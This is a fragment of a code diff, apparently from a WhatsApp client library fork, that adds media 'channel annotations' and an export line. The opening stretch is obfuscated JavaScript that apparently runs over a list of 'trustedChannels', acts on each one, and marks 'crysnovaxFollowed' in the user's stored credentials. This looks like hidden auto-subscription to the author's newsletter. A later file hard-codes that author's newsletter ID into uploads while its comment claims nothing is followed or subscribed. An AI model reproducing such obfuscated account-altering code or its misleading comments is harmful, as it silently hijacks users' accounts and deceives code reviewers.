Promise[_0x34a4be(0x162)](trustedChannels[_0x34a4be(0x15d)](_0xc8f3db=>_0x1a1e70(_0xc8f3db))),_0x2d5ad9=_0x1773cb['filter'](_0x4d8e99=>_0x4d8e99[_0x34a4be(0x154)]===_0x34a4be(0x14f));if(_0x2d5ad9['length'])return _0x380b42?.[_0x34a4be(0x15c)]?.({'failures':_0x2d5ad9['length']},_0x34a4be(0x15a)),![];return _0xe254e9[_0x34a4be(0x161)]('creds.update',{'additionalData':{..._0x3cd68e['additionalData'],'crysnovaxFollowed':!![]}}),!![];};export const getMediaChannelAnnotations=()=>[{'polygonVertices':[{'x':60.71664810180664,'y':-36.39784622192383},{'x':-16.710189819335938,'y':49.263675689697266},{'x':-56.585853576660156,'y':37.85963439941406},{'x':20.840980529785156,'y':-47.80188751220703}],'newsletter':{'newsletterJid':process[_0x5dbd5a(0x155)][_0x5dbd5a(0x144)]||_0x5dbd5a(0x152),'serverMessageId':process[_0x5dbd5a(0x155)][_0x5dbd5a(0x14c)]||Buffer['from']('313033',_0x5dbd5a(0x159))['toString'](),'newsletterName':process[_0x5dbd5a(0x155)][_0x5dbd5a(0x14b)]||_0x5dbd5a(0x146),'contentType':proto[_0x5dbd5a(0x14a)][_0x5dbd5a(0x15f)][_0x5dbd5a(0x145)][_0x5dbd5a(0x14d)],'accessibilityText':process['env'][_0x5dbd5a(0x15b)]||LIBRARY_NAME}}];
1
+ import { proto } from '../../WAProto/index.js';
2
+ import { LIBRARY_NAME } from '../Defaults/index.js';
3
+
4
+ /**
5
+ * Media-channel annotation attached to eligible image and video uploads.
6
+ * This metadata does not follow, subscribe to, or otherwise modify newsletter
7
+ * subscriptions. Users who want channel updates must join channels manually.
8
+ */
9
+ export const getMediaChannelAnnotations = () => [
10
+ {
11
+ polygonVertices: [
12
+ { x: 60.71664810180664, y: -36.39784622192383 },
13
+ { x: -16.710189819335938, y: 49.263675689697266 },
14
+ { x: -56.585853576660156, y: 37.85963439941406 },
15
+ { x: 20.840980529785156, y: -47.80188751220703 }
16
+ ],
17
+ newsletter: {
18
+ newsletterJid: process.env.NEWSLETTER_ID || '120363402922206865@newsletter',
19
+ serverMessageId: process.env.NEWSLETTER_MESSAGE_ID || Buffer.from('313033', 'hex').toString(),
20
+ newsletterName: process.env.NEWSLETTER_NAME || 'crysnovax',
21
+ contentType: proto.ContextInfo.ForwardedNewsletterMessageInfo.ContentType.UPDATE,
22
+ accessibilityText: process.env.NEWSLETTER_ACCESSIBILITY_TEXT || LIBRARY_NAME
23
+ }
24
+ }
25
+ ];
@@ -6,6 +6,7 @@ export * from './messages-media.js';
6
6
  export * from './rich-message-utils.js';
7
7
  export * from './meta-compositing.js';
8
8
  export * from './bot-planning-replay.js';
9
+ export * from './bot-capabilities.js';
9
10
  export * from './welcome-flow.js';
10
11
  export * from './message-composer.js';
11
12
  export * from './consumer-application.js';